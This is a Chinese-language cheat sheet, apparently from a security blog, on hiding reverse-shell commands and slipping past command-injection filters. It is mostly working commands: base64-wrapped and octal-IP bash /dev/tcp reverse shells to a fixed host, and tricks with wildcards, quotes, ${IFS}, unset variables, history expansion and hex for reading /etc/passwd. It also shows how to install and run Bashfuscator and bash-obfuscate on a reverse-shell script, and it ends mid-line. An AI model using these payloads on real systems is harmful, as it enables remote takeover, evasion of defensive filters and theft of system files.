一些常见反弹shell混淆

base64和短反弹
生成反弹

echo “echo $(echo ‘bash -i >& /dev/tcp/192.168.192.244/4444 0>&1’ | base64 | base64)|ba’’se’’6’’4 -‘’d|ba’’se’’64 -‘’d|b’’a’’s’’h” | sed ‘s/ /${IFS}/g’

结果

echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE9USXVNVFk0TGpFNU1pNHlORFF2TkRRME5DQXdQaVl4Q2c9PQo=|ba’’se’’6’’4${IFS}-‘’d|ba’’se’’64${IFS}-‘’d|b’’a’’s’’h
短反弹

(sh)0>/dev/tcp/192.168.192.244/443

在nc接收后执行

exec >&0
路径和关键词屏蔽
问号和通配符

需要注意绝对路径

/usr/bin/p?ng 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.034 ms
^C
—- 127.0.0.1 ping statistics —-
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.034/0.034/0.035/0.005 ms
/usr/bin/who*mi
通配符+文件名

touch — -alh #创建一个文件名为-al的文件
ls * 等效于ls -alh
方括号内的字符[]
注意[]内的字符只能有一个

/usr/bin/whoa[m]i
引号和\

“w”h”o”a’m’i
‘w’h’o’a’m’i
who\am\i

$0 代表Shell本身的文件名

未初始化的变量,Linux中等效null

who${q}ami
cat$q /etc$q/passwd$q
错误命令
注意这里是,而且q`必须相同,然后会报错几次输出结果

wqhqoqaqmqi
历史连接
!-1 会输出最后一个命令和结果 !-2会输出倒数第二个命令和结果

拼接两次命令

who
ami
!-2!-1

输出

whoami
root
\换行执行

who\
a\
mi
空格屏蔽
花括号+,

{cat,/etc/passwd}
IFS替换空格
可以查看当前的shell变量

set | grep IFS
IFS=$’ \t\n’
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
十六进制
(\x20代表空格)

X=$’cat\x20/etc/passwd’&&$X
变量绕过
``内的内容在Linux就是执行一次 比如whoami等效于whoami的结果

IFS=];b=cat]/etc/passwd;$b
IFS=,;cat<<<cat,/etc/passwd
未赋值的变量组合!

$u $u
cat!-1\/etc/passwd
斜杠屏蔽
几乎所有用户的home目录都是/root /xxx 这种形式,所以把home的/截取出来
HOME:0:1 0代表第一个字符,1代表长度

cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr ‘!-0’ ‘“-1’)etc$(echo . | tr ‘!-0’ ‘“-1’)passwd
十六进制编码

cat echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
整型IP
IP除了传统的点分十进制形如127.0.0.1,也可以使用整型IP格式
127.0.0.1 == 2130706433
或者是八进制这种bash -i >& /dev/tcp/030052140364/4444 0>&1

IP(八进制格式).png

Linux命令混淆工具
Bashfuscator
https://github.com/Bashfuscator/Bashfuscator

安装

git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
python3 setup.py install
使用

bashfuscator -c “bash -i >& /dev/tcp/192.168.192.244/4444 0>&1” -o re.sh
输出效果

bashfuscator混淆后的反弹shell.png

bash-obfuscate
主要针对shell脚本进行混淆,注意到它是因为趋势的一篇报告
https://www.trendmicro.com/en_au/research/21/f/bash-ransomware-darkradiation-targets-red-hat–and-debian-based-linux-distributions.html

https://www.npmjs.com/package/bash-obfuscate
安装

npm install -g bash-obfuscate
使用
新建一个bash脚本,内容如下

内容为反弹shell的bash脚本.png

bash-obfuscate re.sh -o output.sh
混淆后的效果

z=””;Fz=’192.’;Dz=’dev/‘;Hz=’244/‘;Ez=’tcp/‘;Bz=’ -i ‘;Az=’bash’;Kz=’1’;Iz=’4444’;Gz=’168.’;Jz=’